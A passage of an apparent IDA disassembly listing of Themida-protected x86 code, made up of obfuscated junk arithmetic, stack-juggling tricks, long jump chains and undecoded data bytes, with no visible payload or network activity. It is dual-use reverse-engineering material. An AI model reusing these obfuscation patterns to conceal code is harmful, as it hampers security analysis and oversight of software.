		pop	edi
		add	ebx, 6EDB4D58h
		neg	ebx
		not	ebx
		push	eax
		mov	eax, 31B5A59h
		add	eax, 0A99E3A48h
		xor	ebx, eax
		jmp	loc_55A584
; ---------------------------------------------------------------------------


loc_556CB1:				; CODE XREF: Themida_:005525E2j
		mov	ebx, edx
		mov	edx, [esp]
		add	esp, 4
		xor	ebx, 39F8573Ch
		add	eax, ebx
		mov	ebx, [esp]
		add	esp, 4
		jmp	loc_5598E4
; ---------------------------------------------------------------------------


loc_556CCC:				; CODE XREF: Themida_:0055C076j
		push	ecx
		mov	ch, 2Dh
		sub	esp, 2
		mov	[esp], bx
		mov	bl, 0FFh
		sub	ch, bl
		jmp	loc_5529B1
; ---------------------------------------------------------------------------


loc_556CDF:				; CODE XREF: Themida_:00551267j
		mov	[esp], edx
		mov	edx, 76C96698h
		or	edx, 416224D0h
		push	edi
		mov	edi, 3D660F8Dh
		push	eax
		mov	eax, 6AE526FEh
		xor	edi, eax
		mov	eax, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 5CB652F9h
		or	edi, ebp
		pop	ebp
		jmp	loc_557329
; ---------------------------------------------------------------------------
		dw 0B652h
		dd 5A9AE9F0h, 0E94D0000h, 190Dh, 0E95AD788h, 5Dh, 5C240487h
		dd 8904EC83h, 0E6892434h, 4C681h, 0C3E90000h
		db 0B1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_556D47:				; CODE XREF: Themida_:0055C2E5j
		xor	[esp], eax
		xor	eax, [esp]
		jmp	loc_554356
; ---------------------------------------------------------------------------
		dw 535Bh
		dd 0FFECCEE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_556D59:				; CODE XREF: Themida_:00553415j
		pop	ecx
		sub	eax, 4
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		mov	[esp], edx
		push	eax
		pushf
		jmp	loc_551807
; ---------------------------------------------------------------------------


loc_556D73:				; CODE XREF: Themida_:00552292j
		add	ebx, eax
		pop	eax
		push	ecx
		mov	ecx, 4
		add	ebx, ecx
		mov	ecx, [esp]
		jmp	loc_558413
; ---------------------------------------------------------------------------
		dw 9CB7h
		dd 0FF9EACE9h, 5BFC88FFh, 0E958E328h, 0FFFFCCB4h, 0E9241489h
		dd 22EDh, 31240433h, 4332404h, 24248B24h, 0FFF649E9h, 4C181FFh
		dd 83000000h, 0C8704E9h, 5DC9E924h, 895C0000h, 0E953243Ch
		dd 32CBh, 3058E500h, 240C8BEFh,	4C481h,	88510000h, 8BEA88FDh
		dd 0C483240Ch, 48E95B04h, 89FFFFDAh, 2434FFD3h,	26FCE95Ah
		dd 0EC830000h, 24148904h, 2CF8E954h, 58660000h,	5724048Bh
		dd 0E951E789h, 0FFFFB4A1h, 0B60F66h, 56E76866h,	24048966h
		dd 0FF9972E9h, 284234FFh, 24048BC3h, 81E68956h,	4C6h, 4C68100h
		dd 87000000h, 285C2434h, 8B665BD8h, 92E9240Ch, 81FFFFEFh
		dd 4C2h, 0CDE95500h
		db 0FBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_556E53:				; CODE XREF: Themida_:00556450j
		add	esp, 4
		push	6373h
		mov	[esp], esi
		push	6178h
		mov	[esp], esp
		add	dword ptr [esp], 4
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_552950
; ---------------------------------------------------------------------------
		db 81h
		dd 0EC2C19EBh, 0E9D3017Ch, 0FFFFAFDAh, 84E6814Eh, 467A2364h
		dd 4ED6F74Eh, 3CA4E9h, 241C8900h, 8904EC83h, 4832424h
		dd 0CBE90424h
		db 0AEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_556EAB:				; CODE XREF: Themida_:00550C60j
		add	esp, 4
		push	ebx
		jmp	loc_55A32B
; ---------------------------------------------------------------------------
		db 0F7h
		dd 48C281D2h, 31AEA82Dh, 0CD895AD1h, 5DEE8959h,	815EF301h
		dd 4C3h, 74FF5300h, 8F5B0424h, 248B2404h, 68E9F724h, 4DFDh
		dd 50241489h, 0AAFFE99Ch, 442DFFFFh, 0E9723C04h, 2EF6h
		dd 0E9240433h, 0FFFF9E49h, 0E92434FFh, 5089h, 24048F5Fh
		dd 0F624248Bh, 0B60F66F1h, 0EA6866CCh, 0C896648h, 0B60F6624h
		dd 9C5166C8h, 0FF986AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_556F29:				; CODE XREF: Themida_:00553150j
		push	ecx
		jmp	loc_55138B
; ---------------------------------------------------------------------------
		db 81h
		dd 0DD3571CBh, 2EBC13Eh, 5B94CB81h, 0C3832F5Ch,	515251FFh
		dd 373A40B9h, 3243E964h, 40E90000h
		db 98h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_556F53:				; CODE XREF: Themida_:00556B04j
		pop	esp
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_5537A8
; ---------------------------------------------------------------------------
byte_556F61	db 66h,	8Bh, 4		; DATA XREF: Themida_:0055070Co
aHfr		db '$h”r',0
		align 2
		dw 3489h
		dd 34FF5424h, 89535E24h, 4B850E3h, 1000000h, 0F0E958C3h
		dd 66FFFFF2h, 1C381h, 6BE38166h, 8C1E932h, 4800000h, 2C802D24h
		dd 4280624h, 24048024h,	1AA4E906h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_556FA6:				; CODE XREF: Themida_:0055A34Bj
		mov	edx, ecx
		mov	ecx, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		push	edi
		mov	edi, 4
		jmp	loc_557E26
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0C481243Ch, 4, 0FFF5E9E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_556FCD:				; CODE XREF: Themida_:0055A5E6j
		push	dword ptr [esp]
		mov	ebp, [esp]
		push	edx
		mov	edx, esp
		jmp	loc_5595F6
; ---------------------------------------------------------------------------
		db 1
		dd 0B85058C2h, 567069DDh, 2D07E8C1h, 1CFA340Ch,	0CB05D8F7h
		dd 1E3B2ACh, 148758C2h,	1AE95C24h, 81000025h, 1F7CFEE7h
		dd 2E7C13Ah, 2B31C781h,	0B2E948D5h
		db 32h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_557013:				; CODE XREF: Themida_:005593BDj
		pop	ebp
		add	esi, 62323437h
		add	esi, edx
		jmp	loc_554B04
; ---------------------------------------------------------------------------
		db 29h,	0E9h, 5Dh
		dd 5C240C87h, 0BA241489h, 1C6C072Ch, 1E62CA81h,	0E2C14E65h
		dd 7FC28108h, 8154DF57h, 0FF28D2CAh, 0F7F2816Eh, 0E9A9C08Ch
		dd 4920h, 0E904C083h, 0FFFFFCD8h
; ---------------------------------------------------------------------------


loc_557058:				; CODE XREF: Themida_:00554C1Cj
		dec	eax
		add	eax, 3FE298CFh
		push	edi
		push	eax
		jmp	loc_5514E8
; ---------------------------------------------------------------------------
		db 89h,	0Ch, 24h
		dd 0CA89C189h, 0B16E9h,	4FCD2D00h, 0EC81610Eh, 4, 0BA241489h
		dd 45FC4520h, 0FFC621E9h, 5EE981FFh, 81BFFF87h,	4C1C00C2h
		dd 327BE946h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55709A:				; CODE XREF: Themida_:005548F3j
		add	esp, 4
		sub	ebp, 37D45B3Fh
		push	ebp
		xor	dword ptr [esp], 19F55E6Dh
		pop	eax
		jmp	loc_5517BA
; ---------------------------------------------------------------------------


loc_5570B4:				; CODE XREF: Themida_:00557447j
		mov	edi, [esp]
		add	esp, 4
		push	eax
		push	ecx
		push	42440157h
		pop	ecx
		xor	ecx, 66A24B45h
		jmp	loc_559F82
; ---------------------------------------------------------------------------
		dd 92DC181h, 0E1D13BF1h, 1B4BE981h, 0CD895BA9h,	81240C8Bh
		dd 4C4h, 0ECED8100h, 4537A848h,	524068h, 242C8900h, 5D241CF7h
		dd 423EE9h, 0C4CB8100h,	81226C65h, 517920E3h, 8ACB810Eh
		dd 8124582Dh, 2277B0C3h, 0D8CB8159h, 81376E19h,	7EFDDBF3h
		dd 0E9D929B7h, 3BC9h, 13BAB966h, 5E1C166h, 0FFA749E9h
		dd 0B60F66FFh, 9C5166C8h, 27D5E9h, 240C8900h, 418CB966h
		dd 4E1C166h, 66D9F766h,	0E908E1C1h, 36E5h, 46A2ED81h, 0EF2100CCh
		dd 2073E9h, 51E95600h
		db 0Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55716F:				; CODE XREF: Themida_:0055BA3Ej
		push	edi
		mov	edi, esp
		push	ecx
		mov	ecx, 34171AF9h
		sub	ecx, 66773867h
		and	ecx, 7EB74C6Fh
		xor	ecx, 1E5974B0h
		or	ecx, 1D4F7AECh
		jmp	loc_55C9AF
; ---------------------------------------------------------------------------
		db 5Dh,	83h, 0C0h
		dd 24048704h, 0FFF762E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5571A1:				; CODE XREF: Themida_:0055561Ej
		pop	ebx
		add	ebx, 4
		jmp	loc_55596A
; ---------------------------------------------------------------------------
byte_5571AD	db 0ADh, 55h, 0BDh	; DATA XREF: Themida_:00550644o
		dd 509825C7h, 6B6B2405h, 99FDE97Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5571BE:				; CODE XREF: Themida_:00556366j
		add	esi, ebx
		pop	ebx
		add	esi, 4
		xchg	esi, [esp]
		mov	esp, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp]
		pop	esp
		mov	[esp], esi
		jmp	loc_55C4F7
; ---------------------------------------------------------------------------
		dw 335Eh
		dd 0C31240Ch, 15CFE924h, 0B2520000h, 0E7E952D8h
		db 0C9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5571F7:				; CODE XREF: Themida_:0055B052j
		and	eax, 5F0E7C0Dh
		jmp	loc_55228D
; ---------------------------------------------------------------------------
		db 5Bh,	5Eh, 81h
		dd 91042444h, 162933Ch,	8104246Ch, 9104246Ch, 8B62933Ch
		dd 10E9242Ch, 5BFFFFCAh, 0FFE17AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_557225:				; CODE XREF: Themida_:0055874Ej
		shr	edx, 3
		xor	edx, 3091D03Ch
		mov	esi, 0C560AE51h
		xor	esi, edx
		pop	edx
		jmp	loc_5546C5
; ---------------------------------------------------------------------------
byte_55723B	db 0FFh			; DATA XREF: Themida_:005505C4o
		dd 669D1C77h, 241CD359h, 9549E99Ch, 44E9FFFFh, 89FFFF95h
		dd 4C781E7h, 0E9000000h, 0FFFFC415h, 4E981h, 0C870000h
		dd 3E95C24h, 5EFFFFC2h,	20E9C358h
		db 95h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_557273:				; CODE XREF: Themida_:0055839Fj
		pop	ebx
		jmp	loc_5589B3
; ---------------------------------------------------------------------------


loc_557279:				; CODE XREF: Themida_:005557D1j
		sub	esp, 4
		jmp	loc_55AC82
; ---------------------------------------------------------------------------


loc_557281:				; CODE XREF: Themida_:005538F8j
		pop	edi
		jmp	loc_55AC9C
; ---------------------------------------------------------------------------
		db 81h
		dd 4C7h, 243C8700h, 44D7685Ch, 0C890000h, 0BD555024h, 465F6BD4h
		dd 0F581DDF7h, 0E04715B1h, 46E9E889h
		db 0F9h, 2 dup(0FFh)
byte_5572AF	db 66h			; DATA XREF: Themida_:00550538o
		dd 8124048Bh, 4ECh, 24148900h, 2434FF54h, 0FFD639E9h, 243489FFh
		dd 846313BEh, 3E456855h, 2C890000h, 67D8BD24h, 0EE316AB4h
		dd 5D2434FFh, 6804C483h, 140Ch,	0FFC49DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5572ED:				; CODE XREF: Themida_:00554B0Bj
		or	ecx, esi
		pop	esi
		shr	ecx, 8
		add	ecx, 0FFD910E1h
		and	eax, ecx
		mov	ecx, [esp]
		jmp	loc_550FEE
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFF948Bh, 8704C683h, 0E95C2434h, 5299h, 33240C31h
		dd 665C240Ch, 68C8BE0Fh, 4F11h,	0FFC4E7E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_557329:				; CODE XREF: Themida_:00556D15j
		xor	edi, 1D4919BEh
		push	211Ch
		mov	[esp], ecx
		mov	ecx, 554C54DBh
		dec	ecx
		jmp	loc_55C28C
; ---------------------------------------------------------------------------


loc_557342:				; CODE XREF: Themida_:0055BDD1j
		mov	ebx, [esp]
		push	ecx
		push	esp
		pop	ecx
		push	ebx
		jmp	loc_5590BA
; ---------------------------------------------------------------------------
		dw 0C483h
		dd 24048F04h, 6624248Bh, 9C242CD3h, 0FF9432E9h,	243C89FFh
		dd 0EC6302BFh, 75CF815Eh, 515AD03Dh, 0DAEEC5B9h, 0C11FE9AFh
		dd 0C481FFFFh, 4, 4C581h, 0E9530000h, 2B63h
; ---------------------------------------------------------------------------


loc_55738C:				; CODE XREF: Themida_:0055845Bj
		add	esp, 4
		xchg	eax, [esp]
		mov	esp, [esp]
		mov	[esp], eax
		jmp	loc_550793
; ---------------------------------------------------------------------------
		dd 2924248Bh, 0E99C2404h, 0FFFF93E7h, 0EB19DCBEh, 2DC0E925h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5573B6:				; CODE XREF: Themida_:0055776Dj
		push	3DECh
		jmp	loc_558AF7
; ---------------------------------------------------------------------------
		dd 5866C330h, 665BD828h, 0B381E951h, 5B66FFFFh,	34FFD030h
		dd 24148B24h, 4C481h, 0D8E90000h, 83FFFF93h, 48104C4h
		dd 41436924h, 24040122h, 4369BB53h, 2FE92241h
		db 43h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5573FB:				; CODE XREF: Themida_:0055B135j
		add	esp, 4
		shr	eax, 0Bh
		jmp	loc_55B8E7
; ---------------------------------------------------------------------------
		db 81h,	0F5h, 3Bh
		dd 19DDF8Bh, 0F2015DEEh, 4EA815Eh, 0E9000000h, 0FFFFBF1Fh
		dd 241C8B66h, 2C481h, 8F660000h, 89522404h, 0FA11E9E2h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_557436:				; CODE XREF: Themida_:00558D93j
		or	ecx, 10CF3A62h
		add	ecx, 76CB2CC0h
		xor	edi, ecx
		pop	ecx
		mov	edx, edi
		jmp	loc_5570B4
; ---------------------------------------------------------------------------
		dd 0E904C483h, 3938h, 0A7F4BB53h, 0D8295AF6h, 58C7295Bh
		dd 0FFF128E9h, 5DEB89FFh, 4EEBB951h, 0B8504B2Dh, 3F293DF6h
		dd 55D0F748h, 996A77BDh, 9A96E946h, 0C8BFFFFh, 4C48124h
		dd 66000000h, 5D11EB81h, 1EEB8166h, 0C301661Fh,	1EC38166h
		dd 4EC831Fh, 0FFFCA0E9h, 122C5BFFh, 81E28952h, 4C2h, 4EA8100h
		dd 87000000h, 895C2414h, 0B768241Ch, 89000056h,	0EDB22414h
		dd 0E906EAC0h, 881h, 31243C33h,	3C33243Ch, 8CE95C24h
		db 0CDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5574DF:				; CODE XREF: Themida_:00554CA0j
		push	eax
		mov	eax, 3AA0022Fh
		add	edx, eax
		pop	eax
		push	ebx
		mov	ebx, 7F4451BAh
		sub	edx, ebx
		pop	ebx
		add	edx, ecx
		jmp	loc_558D16
; ---------------------------------------------------------------------------
dword_5574F8	dd 8B2434FFh, 0C4832404h, 63446804h, 14890000h,	815A5424h
					; DATA XREF: Themida_:00550568o
		dd 4C2h, 49F26800h, 0F9E90000h,	59FFFFE1h, 1504CE2Ch, 0B652D828h
		dd 5AF02815h, 375168h, 241C8900h, 98E925B3h
		db 44h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_557537:				; CODE XREF: Themida_:00558564j
		dec	edx
		xor	edx, 2B1A4954h
		push	edx
		jmp	loc_55C846
; ---------------------------------------------------------------------------
		dd 4EFBC381h, 0C3010024h, 4EFBEB81h, 55510024h,	110D3668h
		dd 242C8B4Fh, 0FFCD9DE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_557561:				; CODE XREF: Themida_:00550E68j
		push	dword ptr [esp]
		pop	ecx
		push	3EFBh
		mov	[esp], ecx
		push	esp
		pop	ecx
		jmp	loc_55B1F4
; ---------------------------------------------------------------------------
		dd 63A968h, 24248900h, 4BE56h, 74010000h, 0FF5E0424h, 0E0E92434h
		dd 81FFFFCFh, 4C1h, 4C18300h, 5C240C87h, 8904EC83h, 4BE2434h
		dd 81000000h, 1A5BD9EFh, 81F7017Bh, 1A5BD9C7h, 24348B7Bh
		dd 4C481h, 0BB530000h, 2, 875BDF01h, 248B243Ch,	2228E924h
		db 2 dup(0)
word_5575D2	dw 5457h		; DATA XREF: Themida_:00550708o
		dd 1847E9h, 74FF5000h, 8F580424h, 248B2404h, 24042024h
		dd 91A5E99Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5575EE:				; CODE XREF: Themida_:0055B192j
		pop	esi
		jmp	loc_5567C7
; ---------------------------------------------------------------------------
aZsb		db 'Zé&',0
		align 2
		dw 0C481h
		dd 2, 0FF918EE9h, 96E95BFFh
		db 2Ch,	2 dup(0)
; ---------------------------------------------------------------------------


loc_55760B:				; CODE XREF: Themida_:0055A949j
		pop	edi
		neg	eax
		push	esi
		mov	esi, 0EE17D4Dh
		shr	esi, 6
		or	esi, 1FCD4D4Bh
		add	esi, 38B97CCDh
		sub	esi, 8AE40B4h
		add	eax, esi
		jmp	loc_553500
; ---------------------------------------------------------------------------
dword_557630	dd 0FF2434FFh, 83592434h, 545304C4h, 83241C8Bh,	8CE904C4h
					; DATA XREF: Themida_:00550598o
		dd 0FF00001Eh, 835D2434h, 1D6804C4h, 8900004Bh,	54562434h
		dd 4BF575Eh, 0E9000000h, 4F80h,	701636B9h, 0B0CBD3Ah, 0CD01E5A0h
		dd 5DEB8959h, 576F381h,	0C381592Fh, 1202661Bh, 0FFD74AE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_557685:				; CODE XREF: Themida_:0055B77Cj
		or	eax, eax
		jz	loc_55157A
		push	dword ptr [edi+1Ch]
		push	664Ah
		mov	[esp], ecx
		mov	ecx, 166E5634h
		push	ecx
		mov	ecx, 67B15AA0h
		sub	[esp+8], ecx
		pop	ecx
		add	[esp+4], ecx
		add	dword ptr [esp+4], 67B15AA0h
		pop	ecx
		mov	ecx, [esp]
		jmp	loc_55415F
; ---------------------------------------------------------------------------
		db 81h,	0EEh, 0BCh
		dd 94F7453h, 0E95E1C77h, 0FFFF90C7h
dword_5576CC	dd 4DE932FFh		; DATA XREF: Themida_:0055069Co
		db 0EAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5576D3:				; CODE XREF: Themida_:00551557j
		sub	al, dl
		jmp	$+5
		pop	dx
		push	edx
		mov	dl, 0FEh
		mov	bl, 0A2h
		xor	bl, dl
		pop	edx
		jmp	loc_55508B
; ---------------------------------------------------------------------------
byte_5576E9	db 0FFh, 34h, 24h	; DATA XREF: Themida_:005504E0o
		dd 0E9240C8Bh, 301Dh, 4C181h, 0C870000h, 0C3295C24h, 4EC81h
		dd 3C890000h, 0A7685624h, 0E962D94Eh, 952h, 2414875Dh
		dd 74FF575Ch, 8F5F0424h, 27E92404h
		db 0F8h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_557727:				; CODE XREF: Themida_:005531EEj
		xor	esi, ebx
		pop	ebx
		or	ecx, esi
		jmp	loc_5521E6
; ---------------------------------------------------------------------------


loc_557731:				; CODE XREF: Themida_:0055486Dj
		push	edx
		mov	edx, 4FCC253Ah
		not	edx
		push	edx
		not	dword ptr [esp]
		pop	edx
		jmp	loc_55B62A
; ---------------------------------------------------------------------------
		db 89h
		dd 4C681E6h, 81000000h,	4C6h, 24348700h, 8724248Bh, 305C241Ch
		dd 0E99C2404h, 0FFFFA479h, 15A0E958h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_55776A:				; CODE XREF: Themida_:005533DAj
		shr	ecx, 0Bh
		jmp	loc_5573B6
; ---------------------------------------------------------------------------


loc_557772:				; CODE XREF: Themida_:0055801Dj
		pop	esp
		and	dh, 32h
		dec	dh
		add	dh, 0Ah
		sub	bh, dh
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		add	al, bh
		pop	ebx
		sub	bl, 8
		sub	esp, 4
		mov	[esp], eax
		mov	ah, 20h
		jmp	loc_5508AF
; ---------------------------------------------------------------------------
aXS		db 'X^é%<',0
		align 2


loc_55779E:				; CODE XREF: Themida_:00555F12j
		push	edi
		mov	edi, 500B0A17h
		jmp	loc_55A947
; ---------------------------------------------------------------------------


loc_5577A9:				; CODE XREF: Themida_:00550D9Ej
		mov	edx, 0
		sub	edx, eax
		mov	eax, edx
		pop	edx
		neg	eax
		add	eax, 0A6F5F429h
		push	esi
		mov	esi, eax
		mov	ebx, esi
		pop	esi
		jmp	loc_55C541
; ---------------------------------------------------------------------------
		db 0D3h, 2 dup(24h)
		dd 0FFE7FCE9h, 64C681FFh, 8130E044h, 0CB29ECF6h, 0E4EA817Bh
		dd 160B66Eh, 0E4C281F2h, 5E60B66Eh, 6802C283h, 7F43h, 0FF241489h
		dd 8B042474h, 0C4832414h, 24048F04h, 0EF12E95Ch, 1433FFFFh
		dd 3468E924h, 1C890000h, 1C6E6824h, 24890000h, 24048124h
		dd 4, 8F78E95Bh, 0C33FFFFh, 240C3124h, 5C240C33h, 240C8966h
		dd 0FF8F5AE9h, 12102DFFh, 1BE92D55h
		db 11h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_557843:				; CODE XREF: Themida_:005544ABj
		add	edx, 76F0AF20h
		sub	eax, edx
		push	dword ptr [esp]
		jmp	loc_55845A
; ---------------------------------------------------------------------------
		db 66h
		dd 2FA9F381h, 4E3C166h,	3DF38166h, 0DA8966FFh, 0D121665Bh
		dd 14E95A66h
		db 6, 2	dup(0)
; ---------------------------------------------------------------------------


loc_55786F:				; CODE XREF: Themida_:005556C4j
					; Themida_:005584A8j
		sub	esp, 4
		jmp	loc_551A32
; ---------------------------------------------------------------------------
		dw 0F781h
		dd 1A046D4Ch, 6E3F781h,	0FD218C05h, 0FFB1C4E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_55788D:				; CODE XREF: Themida_:00553AA0j
		mov	ecx, 2
		jmp	loc_551031
; ---------------------------------------------------------------------------
		db 1
		dd 0C5835AD5h, 242C8704h, 4BE565Ch, 1000000h, 22F6E9F7h
		dd 0F8010000h, 2404335Fh, 33240431h, 16E92404h,	59FFFF9Fh
		dd 729F68h, 241C8900h, 0C741EEBBh, 79BE5660h, 810FA321h
		dd 5E5334CEh, 0A2EE8130h, 8141BA43h, 0C12EE9F6h, 814E4E38h
		dd 0C30612F6h, 8BF32980h, 0C4812434h, 4, 1C8BDA01h, 4C48124h
		dd 1000000h, 0BD5550C2h, 2C854308h, 2755F581h, 0CD812BA5h
		dd 736E59EEh, 7973CD81h, 0C5813EA9h, 9481ED2Bh,	2C8BE889h
		dd 4C48324h, 0FE2A3D2Dh, 0CFBA5279h, 4A11E161h,	5570F281h
		dd 0CDE94D82h
		db 0DEh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_557943:				; CODE XREF: Themida_:00558879j
		push	dword ptr [esp+4]
		jmp	loc_5514D3
; ---------------------------------------------------------------------------
		dd 4246C81h, 703A400Fh,	4245401h, 4244481h, 703A400Fh
		dd 0E924148Bh, 279Fh, 0FF8E26E9h, 242C89FFh, 81E78957h
		dd 4C7h, 4EF8300h, 0E9243C87h, 3C8Eh
; ---------------------------------------------------------------------------


loc_557984:				; CODE XREF: Themida_:00557C79j
		pop	edx
		pop	ecx
		push	esi
		mov	esi, 1A4429F1h
		sub	edx, esi
		pop	esi
		add	edx, edi
		add	edx, 1A4429F1h
		push	dword ptr [edx]
		pop	ecx
		mov	edx, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		jmp	loc_5565AE
; ---------------------------------------------------------------------------
		dw 6850h
		dd 11FA0550h, 0C2D4058h, 2545762Dh, 2BDA671Fh, 0CA3CF735h
		dd 7CF02D23h, 0AEE92B48h
		db 2Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5579CF:				; CODE XREF: Themida_:005526D9j
		xor	ecx, edx
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		xor	eax, ecx
		mov	ecx, [esp]
		add	esp, 4
		push	ebp
		jmp	loc_55B42A
; ---------------------------------------------------------------------------
		dd 27E9E128h
		db 0F3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5579F3:				; CODE XREF: Themida_:0055AE08j
		mov	ecx, 2EA84B6Dh
		and	ecx, 58BC0B10h
		add	ecx, 0FFFFFFFFh
		sub	ecx, 0D915D002h
		sub	eax, ecx
		jmp	loc_553D4C
; ---------------------------------------------------------------------------


loc_557A11:				; CODE XREF: Themida_:00551B37j
		xor	esi, [esp]
		mov	esp, [esp]
		add	esp, 4
		jmp	loc_552DAC
; ---------------------------------------------------------------------------
		dw 885Bh
		dd 0E8005AF5h, 4EC8359h, 3885E9h, 4C68300h, 0E9243487h
		dd 0FFFFCAF9h, 2046E95Bh, 815E0000h, 4C6h, 0FFE3E900h
		dd 8950FFFFh, 2D0EE9E0h, 0F7810000h, 490FC1h, 815FFD89h
		dd 9C0945C7h, 93AE905h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_557A6A:				; CODE XREF: Themida_:0055110Dj
		push	ebx
		push	edx
		mov	edx, 675751D6h
		add	[esp+4], edx
		pop	edx
		pop	eax
		push	esi
		mov	esi, 675751D6h
		sub	eax, esi
		jmp	loc_555F57
; ---------------------------------------------------------------------------
dword_557A84	dd 5B5A05ADh, 0E2E90C4Bh, 89FFFFF5h, 4C681E6h, 55000000h
					; DATA XREF: Themida_:00550558o
		dd 5F41A0BDh, 57E95752h, 33FFFFC1h, 895C240Ch, 0EC83243Ch
		dd 24248904h, 4240481h,	5F000000h, 4F3FBA52h, 0EAC12681h
		dd 8E33E903h, 0BA2DFFFFh, 0E948F3F7h, 10CEh, 0AB687068h
		dd 241C8B46h, 81E28952h, 4C2h, 4C28100h, 87000000h, 815C2414h
		dd 61927E3h, 9C05E975h,	0C380FFFFh, 8BDE0055h, 0C483241Ch
		dd 0EE09E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_557B06:				; CODE XREF: Themida_:005558B8j
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 746A59B3h
		push	eax
		mov	eax, 3BB94E5Ah
		and	edx, eax
		pop	eax
		push	4852h
		mov	[esp], ecx
		push	esi
		push	0E9B3239h
		pop	esi
		xor	esi, 619571F6h
		mov	ecx, esi
		pop	esi
		sub	ecx, 1
		xor	ecx, 35C92C16h
		not	ecx
		inc	ecx
		jmp	loc_557C89
; ---------------------------------------------------------------------------
		dw 48E9h
		db 8Ch,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_557B4B:				; CODE XREF: Themida_:00552551j
		pop	edx
		xor	ebp, 6FC33EFDh
		add	eax, ebp
		pop	ebp
		jmp	loc_556B71
; ---------------------------------------------------------------------------
		dw 0C89h
		dd 53E18924h, 4BBh, 5BD90100h, 4C181h, 0CFE90000h, 0C1FFFFCFh
		dd 0E28103EAh, 2D690CD1h, 0C3E1BF57h, 26E990C9h, 0FFFFFFB1h
		dd 0C8B2434h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	ebx
		mov	ebx, esp
		jmp	loc_55AC1B
; ---------------------------------------------------------------------------
		db 0FFh, 74h, 24h
		dd 48F5804h, 24248B24h,	9C2404FFh, 0FF8BDAE9h, 0E9525EFFh
		dd 2022h, 0A9442D93h, 0C329A74Dh, 0E9C38158h, 81787735h
		dd 7349F5F3h, 5BDF013Fh, 2BB53h, 0BB530000h, 7A05620Dh
		dd 15BDF29h, 0E9BB53DFh, 0F75DA37Ch, 7BD55D3h, 815B3E68h
		dd 132D1AC5h, 0F120E959h, 0EDBFFFFFh, 472C7D6Fh, 16E1E94Fh
		dd 14870000h, 0A2C8E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_557C16:				; CODE XREF: Themida_:00550A6Bj
		mov	ebp, 248058FCh
		add	ebp, 2819548Ah
		sub	ebp, 4C99A586h
		mov	edx, ebp
		mov	ebp, [esp]
		add	esp, 4
		and	eax, edx
		push	dword ptr [esp]
		pop	edx
		jmp	loc_55B75F
; ---------------------------------------------------------------------------


loc_557C3D:				; CODE XREF: Themida_:00550D5Aj
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		jmp	loc_55BDBD
; ---------------------------------------------------------------------------
		dw 0CFEh
		dd 8CE8E924h
		db 2 dup(0FFh)
word_557C56	dw 0C8Bh		; DATA XREF: Themida_:00550574o
		dd 15E95124h
		db 0F9h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_557C5F:				; CODE XREF: Themida_:00559A06j
		pop	ecx
		and	ecx, 42577153h
		push	ecx
		not	dword ptr [esp]
		pop	ecx
		sub	ecx, 0BFAEAEE1h
		push	0E60h
		mov	[esp], ecx
		jmp	loc_557984
; ---------------------------------------------------------------------------


loc_557C7E:				; CODE XREF: Themida_:005515A5j
		xor	esi, [esp]
		mov	esp, [esp]
		jmp	loc_55255C
; ---------------------------------------------------------------------------


loc_557C89:				; CODE XREF: Themida_:00557B41j
		push	ebx
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_5552A0
; ---------------------------------------------------------------------------


loc_557C95:				; CODE XREF: Themida_:00550799j
		xor	dh, 60h
		jmp	loc_551875
; ---------------------------------------------------------------------------
